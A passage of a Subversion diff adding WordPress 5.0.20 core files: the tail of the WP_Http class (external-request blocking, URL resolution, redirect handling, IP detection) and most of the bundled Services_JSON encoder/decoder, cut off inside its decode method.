+
+			// Remove the chunk from the raw data.
+			$body = substr( $body, $length + $chunk_length );
+
+			// End of the document.
+			if ( '0' === trim( $body ) )
+				return $parsed_body;
+		}
+	}
+
+	/**
+	 * Block requests through the proxy.
+	 *
+	 * Those who are behind a proxy and want to prevent access to certain hosts may do so. This will
+	 * prevent plugins from working and core functionality, if you don't include api.wordpress.org.
+	 *
+	 * You block external URL requests by defining WP_HTTP_BLOCK_EXTERNAL as true in your wp-config.php
+	 * file and this will only allow localhost and your site to make requests. The constant
+	 * WP_ACCESSIBLE_HOSTS will allow additional hosts to go through for requests. The format of the
+	 * WP_ACCESSIBLE_HOSTS constant is a comma separated list of hostnames to allow, wildcard domains
+	 * are supported, eg *.wordpress.org will allow for all subdomains of wordpress.org to be contacted.
+	 *
+	 * @since 2.8.0
+	 * @link https://core.trac.wordpress.org/ticket/8927 Allow preventing external requests.
+	 * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS
+	 *
+	 * @staticvar array|null $accessible_hosts
+	 * @staticvar array      $wildcard_regex
+	 *
+	 * @param string $uri URI of url.
+	 * @return bool True to block, false to allow.
+	 */
+	public function block_request($uri) {
+		// We don't need to block requests, because nothing is blocked.
+		if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL )
+			return false;
+
+		$check = parse_url($uri);
+		if ( ! $check )
+			return true;
+
+		$home = parse_url( get_option('siteurl') );
+
+		// Don't block requests back to ourselves by default.
+		if ( 'localhost' == $check['host'] || ( isset( $home['host'] ) && $home['host'] == $check['host'] ) ) {
+			/**
+			 * Filters whether to block local requests through the proxy.
+			 *
+			 * @since 2.8.0
+			 *
+			 * @param bool $block Whether to block local requests through proxy.
+			 *                    Default false.
+			 */
+			return apply_filters( 'block_local_requests', false );
+		}
+
+		if ( !defined('WP_ACCESSIBLE_HOSTS') )
+			return true;
+
+		static $accessible_hosts = null;
+		static $wildcard_regex = array();
+		if ( null === $accessible_hosts ) {
+			$accessible_hosts = preg_split('|,\s*|', WP_ACCESSIBLE_HOSTS);
+
+			if ( false !== strpos(WP_ACCESSIBLE_HOSTS, '*') ) {
+				$wildcard_regex = array();
+				foreach ( $accessible_hosts as $host )
+					$wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) );
+				$wildcard_regex = '/^(' . implode('|', $wildcard_regex) . ')$/i';
+			}
+		}
+
+		if ( !empty($wildcard_regex) )
+			return !preg_match($wildcard_regex, $check['host']);
+		else
+			return !in_array( $check['host'], $accessible_hosts ); //Inverse logic, If it's in the array, then we can't access it.
+
+	}
+
+	/**
+	 * Used as a wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7.
+	 *
+	 * @deprecated 4.4.0 Use wp_parse_url()
+	 * @see wp_parse_url()
+	 *
+	 * @param string $url The URL to parse.
+	 * @return bool|array False on failure; Array of URL components on success;
+	 *                    See parse_url()'s return values.
+	 */
+	protected static function parse_url( $url ) {
+		_deprecated_function( __METHOD__, '4.4.0', 'wp_parse_url()' );
+		return wp_parse_url( $url );
+	}
+
+	/**
+	 * Converts a relative URL to an absolute URL relative to a given URL.
+	 *
+	 * If an Absolute URL is provided, no processing of that URL is done.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @static
+	 *
+	 * @param string $maybe_relative_path The URL which might be relative
+	 * @param string $url                 The URL which $maybe_relative_path is relative to
+	 * @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned.
+	 */
+	public static function make_absolute_url( $maybe_relative_path, $url ) {
+		if ( empty( $url ) )
+			return $maybe_relative_path;
+
+		if ( ! $url_parts = wp_parse_url( $url ) ) {
+			return $maybe_relative_path;
+		}
+
+		if ( ! $relative_url_parts = wp_parse_url( $maybe_relative_path ) ) {
+			return $maybe_relative_path;
+		}
+
+		// Check for a scheme on the 'relative' url
+		if ( ! empty( $relative_url_parts['scheme'] ) ) {
+			return $maybe_relative_path;
+		}
+
+		$absolute_path = $url_parts['scheme'] . '://';
+
+		// Schemeless URL's will make it this far, so we check for a host in the relative url and convert it to a protocol-url
+		if ( isset( $relative_url_parts['host'] ) ) {
+			$absolute_path .= $relative_url_parts['host'];
+			if ( isset( $relative_url_parts['port'] ) )
+				$absolute_path .= ':' . $relative_url_parts['port'];
+		} else {
+			$absolute_path .= $url_parts['host'];
+			if ( isset( $url_parts['port'] ) )
+				$absolute_path .= ':' . $url_parts['port'];
+		}
+
+		// Start off with the Absolute URL path.
+		$path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/';
+
+		// If it's a root-relative path, then great.
+		if ( ! empty( $relative_url_parts['path'] ) && '/' == $relative_url_parts['path'][0] ) {
+			$path = $relative_url_parts['path'];
+
+		// Else it's a relative path.
+		} elseif ( ! empty( $relative_url_parts['path'] ) ) {
+			// Strip off any file components from the absolute path.
+			$path = substr( $path, 0, strrpos( $path, '/' ) + 1 );
+
+			// Build the new path.
+			$path .= $relative_url_parts['path'];
+
+			// Strip all /path/../ out of the path.
+			while ( strpos( $path, '../' ) > 1 ) {
+				$path = preg_replace( '![^/]+/\.\./!', '', $path );
+			}
+
+			// Strip any final leading ../ from the path.
+			$path = preg_replace( '!^/(\.\./)+!', '', $path );
+		}
+
+		// Add the Query string.
+		if ( ! empty( $relative_url_parts['query'] ) )
+			$path .= '?' . $relative_url_parts['query'];
+
+		return $absolute_path . '/' . ltrim( $path, '/' );
+	}
+
+	/**
+	 * Handles HTTP Redirects and follows them if appropriate.
+	 *
+	 * @since 3.7.0
+	 * @static
+	 *
+	 * @param string $url The URL which was requested.
+	 * @param array $args The Arguments which were used to make the request.
+	 * @param array $response The Response of the HTTP request.
+	 * @return false|object False if no redirect is present, a WP_HTTP or WP_Error result otherwise.
+	 */
+	public static function handle_redirects( $url, $args, $response ) {
+		// If no redirects are present, or, redirects were not requested, perform no action.
+		if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] )
+			return false;
+
+		// Only perform redirections on redirection http codes.
+		if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 )
+			return false;
+
+		// Don't redirect if we've run out of redirects.
+		if ( $args['redirection']-- <= 0 )
+			return new WP_Error( 'http_request_failed', __('Too many redirects.') );
+
+		$redirect_location = $response['headers']['location'];
+
+		// If there were multiple Location headers, use the last header specified.
+		if ( is_array( $redirect_location ) )
+			$redirect_location = array_pop( $redirect_location );
+
+		$redirect_location = WP_Http::make_absolute_url( $redirect_location, $url );
+
+		// POST requests should not POST to a redirected location.
+		if ( 'POST' == $args['method'] ) {
+			if ( in_array( $response['response']['code'], array( 302, 303 ) ) )
+				$args['method'] = 'GET';
+		}
+
+		// Include valid cookies in the redirect process.
+		if ( ! empty( $response['cookies'] ) ) {
+			foreach ( $response['cookies'] as $cookie ) {
+				if ( $cookie->test( $redirect_location ) )
+					$args['cookies'][] = $cookie;
+			}
+		}
+
+		return wp_remote_request( $redirect_location, $args );
+	}
+
+	/**
+	 * Determines if a specified string represents an IP address or not.
+	 *
+	 * This function also detects the type of the IP address, returning either
+	 * '4' or '6' to represent a IPv4 and IPv6 address respectively.
+	 * This does not verify if the IP is a valid IP, only that it appears to be
+	 * an IP address.
+	 *
+	 * @link http://home.deds.nl/~aeron/regex/ for IPv6 regex
+	 *
+	 * @since 3.7.0
+	 * @static
+	 *
+	 * @param string $maybe_ip A suspected IP address
+	 * @return integer|bool Upon success, '4' or '6' to represent a IPv4 or IPv6 address, false upon failure
+	 */
+	public static function is_ip_address( $maybe_ip ) {
+		if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) )
+			return 4;
+
+		if ( false !== strpos( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) )
+			return 6;
+
+		return false;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/class-json.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-json.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-json.php	(revision 56912)
@@ -0,0 +1,960 @@
+<?php
+if ( ! class_exists( 'Services_JSON' ) ) :
+/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
+/**
+ * Converts to and from JSON format.
+ *
+ * JSON (JavaScript Object Notation) is a lightweight data-interchange
+ * format. It is easy for humans to read and write. It is easy for machines
+ * to parse and generate. It is based on a subset of the JavaScript
+ * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
+ * This feature can also be found in  Python. JSON is a text format that is
+ * completely language independent but uses conventions that are familiar
+ * to programmers of the C-family of languages, including C, C++, C#, Java,
+ * JavaScript, Perl, TCL, and many others. These properties make JSON an
+ * ideal data-interchange language.
+ *
+ * This package provides a simple encoder and decoder for JSON notation. It
+ * is intended for use with client-side Javascript applications that make
+ * use of HTTPRequest to perform server communication functions - data can
+ * be encoded into JSON notation for use in a client-side javascript, or
+ * decoded from incoming Javascript requests. JSON format is native to
+ * Javascript, and can be directly eval()'ed with no further parsing
+ * overhead
+ *
+ * All strings should be in ASCII or UTF-8 format!
+ *
+ * LICENSE: Redistribution and use in source and binary forms, with or
+ * without modification, are permitted provided that the following
+ * conditions are met: Redistributions of source code must retain the
+ * above copyright notice, this list of conditions and the following
+ * disclaimer. Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
+ * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+ * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
+ * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
+ * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
+ * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
+ * DAMAGE.
+ *
+ * @category
+ * @package     Services_JSON
+ * @author      Michal Migurski <mike-json@teczno.com>
+ * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
+ * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
+ * @copyright   2005 Michal Migurski
+ * @version     CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $
+ * @license     http://www.opensource.org/licenses/bsd-license.php
+ * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
+ */
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_SLICE',   1);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_STR',  2);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_ARR',  3);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_OBJ',  4);
+
+/**
+ * Marker constant for Services_JSON::decode(), used to flag stack state
+ */
+define('SERVICES_JSON_IN_CMT', 5);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_LOOSE_TYPE', 16);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_SUPPRESS_ERRORS', 32);
+
+/**
+ * Behavior switch for Services_JSON::decode()
+ */
+define('SERVICES_JSON_USE_TO_JSON', 64);
+
+/**
+ * Converts to and from JSON format.
+ *
+ * Brief example of use:
+ *
+ * <code>
+ * // create a new instance of Services_JSON
+ * $json = new Services_JSON();
+ *
+ * // convert a complexe value to JSON notation, and send it to the browser
+ * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
+ * $output = $json->encode($value);
+ *
+ * print($output);
+ * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
+ *
+ * // accept incoming POST data, assumed to be in JSON notation
+ * $input = file_get_contents('php://input', 1000000);
+ * $value = $json->decode($input);
+ * </code>
+ */
+class Services_JSON
+{
+   /**
+    * constructs a new JSON instance
+    *
+    * @param    int     $use    object behavior flags; combine with boolean-OR
+    *
+    *                           possible values:
+    *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
+    *                                   "{...}" syntax creates associative arrays
+    *                                   instead of objects in decode().
+    *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
+    *                                   Values which can't be encoded (e.g. resources)
+    *                                   appear as NULL instead of throwing errors.
+    *                                   By default, a deeply-nested resource will
+    *                                   bubble up with an error, so all return values
+    *                                   from encode() should be checked with isError()
+    *                           - SERVICES_JSON_USE_TO_JSON:  call toJSON when serializing objects
+    *                                   It serializes the return value from the toJSON call rather 
+    *                                   than the object itself, toJSON can return associative arrays, 
+    *                                   strings or numbers, if you return an object, make sure it does
+    *                                   not have a toJSON method, otherwise an error will occur.
+    */
+    function __construct( $use = 0 )
+    {
+        $this->use = $use;
+        $this->_mb_strlen            = function_exists('mb_strlen');
+        $this->_mb_convert_encoding  = function_exists('mb_convert_encoding');
+        $this->_mb_substr            = function_exists('mb_substr');
+    }
+
+	/**
+	 * PHP4 constructor.
+	 */
+	public function Services_JSON( $use = 0 ) {
+		self::__construct( $use );
+	}
+    // private - cache the mbstring lookup results..
+    var $_mb_strlen = false;
+    var $_mb_substr = false;
+    var $_mb_convert_encoding = false;
+    
+   /**
+    * convert a string from one UTF-16 char to one UTF-8 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf16  UTF-16 character
+    * @return   string  UTF-8 character
+    * @access   private
+    */
+    function utf162utf8($utf16)
+    {
+        // oh please oh please oh please oh please oh please
+        if($this->_mb_convert_encoding) {
+            return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
+        }
+
+        $bytes = (ord($utf16{0}) << 8) | ord($utf16{1});
+
+        switch(true) {
+            case ((0x7F & $bytes) == $bytes):
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x7F & $bytes);
+
+            case (0x07FF & $bytes) == $bytes:
+                // return a 2-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xC0 | (($bytes >> 6) & 0x1F))
+                     . chr(0x80 | ($bytes & 0x3F));
+
+            case (0xFFFF & $bytes) == $bytes:
+                // return a 3-byte UTF-8 character
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0xE0 | (($bytes >> 12) & 0x0F))
+                     . chr(0x80 | (($bytes >> 6) & 0x3F))
+                     . chr(0x80 | ($bytes & 0x3F));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * convert a string from one UTF-8 char to one UTF-16 char
+    *
+    * Normally should be handled by mb_convert_encoding, but
+    * provides a slower PHP-only method for installations
+    * that lack the multibye string extension.
+    *
+    * @param    string  $utf8   UTF-8 character
+    * @return   string  UTF-16 character
+    * @access   private
+    */
+    function utf82utf16($utf8)
+    {
+        // oh please oh please oh please oh please oh please
+        if($this->_mb_convert_encoding) {
+            return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
+        }
+
+        switch($this->strlen8($utf8)) {
+            case 1:
+                // this case should never be reached, because we are in ASCII range
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return $utf8;
+
+            case 2:
+                // return a UTF-16 character from a 2-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr(0x07 & (ord($utf8{0}) >> 2))
+                     . chr((0xC0 & (ord($utf8{0}) << 6))
+                         | (0x3F & ord($utf8{1})));
+
+            case 3:
+                // return a UTF-16 character from a 3-byte UTF-8 char
+                // see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                return chr((0xF0 & (ord($utf8{0}) << 4))
+                         | (0x0F & (ord($utf8{1}) >> 2)))
+                     . chr((0xC0 & (ord($utf8{1}) << 6))
+                         | (0x7F & ord($utf8{2})));
+        }
+
+        // ignoring UTF-32 for now, sorry
+        return '';
+    }
+
+   /**
+    * encodes an arbitrary variable into JSON format (and sends JSON Header)
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encode($var)
+    {
+        header('Content-type: application/json');
+        return $this->encodeUnsafe($var);
+    }
+    /**
+    * encodes an arbitrary variable into JSON format without JSON Header - warning - may allow XSS!!!!)
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function encodeUnsafe($var)
+    {
+        // see bug #16908 - regarding numeric locale printing
+        $lc = setlocale(LC_NUMERIC, 0);
+        setlocale(LC_NUMERIC, 'C');
+        $ret = $this->_encode($var);
+        setlocale(LC_NUMERIC, $lc);
+        return $ret;
+        
+    }
+    /**
+    * PRIVATE CODE that does the work of encodes an arbitrary variable into JSON format 
+    *
+    * @param    mixed   $var    any number, boolean, string, array, or object to be encoded.
+    *                           see argument 1 to Services_JSON() above for array-parsing behavior.
+    *                           if var is a strng, note that encode() always expects it
+    *                           to be in ASCII or UTF-8 format!
+    *
+    * @return   mixed   JSON string representation of input var or an error if a problem occurs
+    * @access   public
+    */
+    function _encode($var) 
+    {
+         
+        switch (gettype($var)) {
+            case 'boolean':
+                return $var ? 'true' : 'false';
+
+            case 'NULL':
+                return 'null';
+
+            case 'integer':
+                return (int) $var;
+
+            case 'double':
+            case 'float':
+                return  (float) $var;
+
+            case 'string':
+                // STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
+                $ascii = '';
+                $strlen_var = $this->strlen8($var);
+
+               /*
+                * Iterate over every character in the string,
+                * escaping with a slash or encoding to UTF-8 where necessary
+                */
+                for ($c = 0; $c < $strlen_var; ++$c) {
+
+                    $ord_var_c = ord($var{$c});
+
+                    switch (true) {
+                        case $ord_var_c == 0x08:
+                            $ascii .= '\b';
+                            break;
+                        case $ord_var_c == 0x09:
+                            $ascii .= '\t';
+                            break;
+                        case $ord_var_c == 0x0A:
+                            $ascii .= '\n';
+                            break;
+                        case $ord_var_c == 0x0C:
+                            $ascii .= '\f';
+                            break;
+                        case $ord_var_c == 0x0D:
+                            $ascii .= '\r';
+                            break;
+
+                        case $ord_var_c == 0x22:
+                        case $ord_var_c == 0x2F:
+                        case $ord_var_c == 0x5C:
+                            // double quote, slash, slosh
+                            $ascii .= '\\'.$var{$c};
+                            break;
+
+                        case (($ord_var_c >= 0x20) && ($ord_var_c <= 0x7F)):
+                            // characters U-00000000 - U-0000007F (same as ASCII)
+                            $ascii .= $var{$c};
+                            break;
+
+                        case (($ord_var_c & 0xE0) == 0xC0):
+                            // characters U-00000080 - U-000007FF, mask 110XXXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            if ($c+1 >= $strlen_var) {
+                                $c += 1;
+                                $ascii .= '?';
+                                break;
+                            }
+                            
+                            $char = pack('C*', $ord_var_c, ord($var{$c + 1}));
+                            $c += 1;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF0) == 0xE0):
+                            if ($c+2 >= $strlen_var) {
+                                $c += 2;
+                                $ascii .= '?';
+                                break;
+                            }
+                            // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         @ord($var{$c + 1}),
+                                         @ord($var{$c + 2}));
+                            $c += 2;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xF8) == 0xF0):
+                            if ($c+3 >= $strlen_var) {
+                                $c += 3;
+                                $ascii .= '?';
+                                break;
+                            }
+                            // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}));
+                            $c += 3;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFC) == 0xF8):
+                            // characters U-00200000 - U-03FFFFFF, mask 111110XX
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            if ($c+4 >= $strlen_var) {
+                                $c += 4;
+                                $ascii .= '?';
+                                break;
+                            }
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}));
+                            $c += 4;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+
+                        case (($ord_var_c & 0xFE) == 0xFC):
+                        if ($c+5 >= $strlen_var) {
+                                $c += 5;
+                                $ascii .= '?';
+                                break;
+                            }
+                            // characters U-04000000 - U-7FFFFFFF, mask 1111110X
+                            // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                            $char = pack('C*', $ord_var_c,
+                                         ord($var{$c + 1}),
+                                         ord($var{$c + 2}),
+                                         ord($var{$c + 3}),
+                                         ord($var{$c + 4}),
+                                         ord($var{$c + 5}));
+                            $c += 5;
+                            $utf16 = $this->utf82utf16($char);
+                            $ascii .= sprintf('\u%04s', bin2hex($utf16));
+                            break;
+                    }
+                }
+                return  '"'.$ascii.'"';
+
+            case 'array':
+               /*
+                * As per JSON spec if any array key is not an integer
+                * we must treat the whole array as an object. We
+                * also try to catch a sparsely populated associative
+                * array with numeric keys here because some JS engines
+                * will create an array with empty indexes up to
+                * max_index which can cause memory issues and because
+                * the keys, which may be relevant, will be remapped
+                * otherwise.
+                *
+                * As per the ECMA and JSON specification an object may
+                * have any string as a property. Unfortunately due to
+                * a hole in the ECMA specification if the key is a
+                * ECMA reserved word or starts with a digit the
+                * parameter is only accessible using ECMAScript's
+                * bracket notation.
+                */
+
+                // treat as a JSON object
+                if (is_array($var) && count($var) && (array_keys($var) !== range(0, sizeof($var) - 1))) {
+                    $properties = array_map(array($this, 'name_value'),
+                                            array_keys($var),
+                                            array_values($var));
+
+                    foreach($properties as $property) {
+                        if(Services_JSON::isError($property)) {
+                            return $property;
+                        }
+                    }
+
+                    return '{' . join(',', $properties) . '}';
+                }
+
+                // treat it like a regular array
+                $elements = array_map(array($this, '_encode'), $var);
+
+                foreach($elements as $element) {
+                    if(Services_JSON::isError($element)) {
+                        return $element;
+                    }
+                }
+
+                return '[' . join(',', $elements) . ']';
+
+            case 'object':
+            
+                // support toJSON methods.
+                if (($this->use & SERVICES_JSON_USE_TO_JSON) && method_exists($var, 'toJSON')) {
+                    // this may end up allowing unlimited recursion
+                    // so we check the return value to make sure it's not got the same method.
+                    $recode = $var->toJSON();
+                    
+                    if (method_exists($recode, 'toJSON')) {
+                        
+                        return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                        ? 'null'
+                        : new Services_JSON_Error(get_class($var).
+                            " toJSON returned an object with a toJSON method.");
+                            
+                    }
+                    
+                    return $this->_encode( $recode );
+                } 
+                
+                $vars = get_object_vars($var);
+                
+                $properties = array_map(array($this, 'name_value'),
+                                        array_keys($vars),
+                                        array_values($vars));
+
+                foreach($properties as $property) {
+                    if(Services_JSON::isError($property)) {
+                        return $property;
+                    }
+                }
+
+                return '{' . join(',', $properties) . '}';
+
+            default:
+                return ($this->use & SERVICES_JSON_SUPPRESS_ERRORS)
+                    ? 'null'
+                    : new Services_JSON_Error(gettype($var)." can not be encoded as JSON string");
+        }
+    }
+
+   /**
+    * array-walking function for use in generating JSON-formatted name-value pairs
+    *
+    * @param    string  $name   name of key to use
+    * @param    mixed   $value  reference to an array element to be encoded
+    *
+    * @return   string  JSON-formatted name-value pair, like '"name":value'
+    * @access   private
+    */
+    function name_value($name, $value)
+    {
+        $encoded_value = $this->_encode($value);
+
+        if(Services_JSON::isError($encoded_value)) {
+            return $encoded_value;
+        }
+
+        return $this->_encode(strval($name)) . ':' . $encoded_value;
+    }
+
+   /**
+    * reduce a string by removing leading and trailing comments and whitespace
+    *
+    * @param    $str    string      string value to strip of comments and whitespace
+    *
+    * @return   string  string value stripped of comments and whitespace
+    * @access   private
+    */
+    function reduce_string($str)
+    {
+        $str = preg_replace(array(
+
+                // eliminate single line comments in '// ...' form
+                '#^\s*//(.+)$#m',
+
+                // eliminate multi-line comments in '/* ... */' form, at start of string
+                '#^\s*/\*(.+)\*/#Us',
+
+                // eliminate multi-line comments in '/* ... */' form, at end of string
+                '#/\*(.+)\*/\s*$#Us'
+
+            ), '', $str);
+
+        // eliminate extraneous space
+        return trim($str);
+    }
+
+   /**
+    * decodes a JSON string into appropriate variable
+    *
+    * @param    string  $str    JSON-formatted string
+    *
+    * @return   mixed   number, boolean, string, array, or object
+    *                   corresponding to given JSON input string.
+    *                   See argument 1 to Services_JSON() above for object-output behavior.
+    *                   Note that decode() always returns strings
+    *                   in ASCII or UTF-8 format!
+    * @access   public
+    */
+    function decode($str)
+    {
+        $str = $this->reduce_string($str);
+
+        switch (strtolower($str)) {
+            case 'true':
+                return true;
+
+            case 'false':
+                return false;
+
+            case 'null':
+                return null;
+
+            default:
+                $m = array();
+
+                if (is_numeric($str)) {
+                    // Lookie-loo, it's a number
+
+                    // This would work on its own, but I'm trying to be
+                    // good about returning integers where appropriate:
+                    // return (float)$str;
+
+                    // Return float or int, as appropriate
+                    return ((float)$str == (integer)$str)
+                        ? (integer)$str
+                        : (float)$str;
+
+                } elseif (preg_match('/^("|\').*(\1)$/s', $str, $m) && $m[1] == $m[2]) {
+                    // STRINGS RETURNED IN UTF-8 FORMAT
+                    $delim = $this->substr8($str, 0, 1);
+                    $chrs = $this->substr8($str, 1, -1);
+                    $utf8 = '';
+                    $strlen_chrs = $this->strlen8($chrs);
+
+                    for ($c = 0; $c < $strlen_chrs; ++$c) {
+
+                        $substr_chrs_c_2 = $this->substr8($chrs, $c, 2);
+                        $ord_chrs_c = ord($chrs{$c});
+
+                        switch (true) {
+                            case $substr_chrs_c_2 == '\b':
+                                $utf8 .= chr(0x08);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\t':
+                                $utf8 .= chr(0x09);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\n':
+                                $utf8 .= chr(0x0A);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\f':
+                                $utf8 .= chr(0x0C);
+                                ++$c;
+                                break;
+                            case $substr_chrs_c_2 == '\r':
+                                $utf8 .= chr(0x0D);
+                                ++$c;
+                                break;
+
+                            case $substr_chrs_c_2 == '\\"':
+                            case $substr_chrs_c_2 == '\\\'':
+                            case $substr_chrs_c_2 == '\\\\':
+                            case $substr_chrs_c_2 == '\\/':
+                                if (($delim == '"' && $substr_chrs_c_2 != '\\\'') ||
+                                   ($delim == "'" && $substr_chrs_c_2 != '\\"')) {
+                                    $utf8 .= $chrs{++$c};
+                                }
+                                break;
+
+                            case preg_match('/\\\u[0-9A-F]{4}/i', $this->substr8($chrs, $c, 6)):
+                                // single, escaped unicode character
+                                $utf16 = chr(hexdec($this->substr8($chrs, ($c + 2), 2)))
+                                       . chr(hexdec($this->substr8($chrs, ($c + 4), 2)));
+                                $utf8 .= $this->utf162utf8($utf16);
+                                $c += 5;
+                                break;
+
+                            case ($ord_chrs_c >= 0x20) && ($ord_chrs_c <= 0x7F):
+                                $utf8 .= $chrs{$c};
+                                break;
+
+                            case ($ord_chrs_c & 0xE0) == 0xC0:
+                                // characters U-00000080 - U-000007FF, mask 110XXXXX
+                                //see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 2);
+                                ++$c;
+                                break;
+
+                            case ($ord_chrs_c & 0xF0) == 0xE0:
+                                // characters U-00000800 - U-0000FFFF, mask 1110XXXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 3);
+                                $c += 2;
+                                break;
+
+                            case ($ord_chrs_c & 0xF8) == 0xF0:
+                                // characters U-00010000 - U-001FFFFF, mask 11110XXX
+                                // see http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
+                                $utf8 .= $this->substr8($chrs, $c, 4);
+                                $c += 3;
+                                break;
+
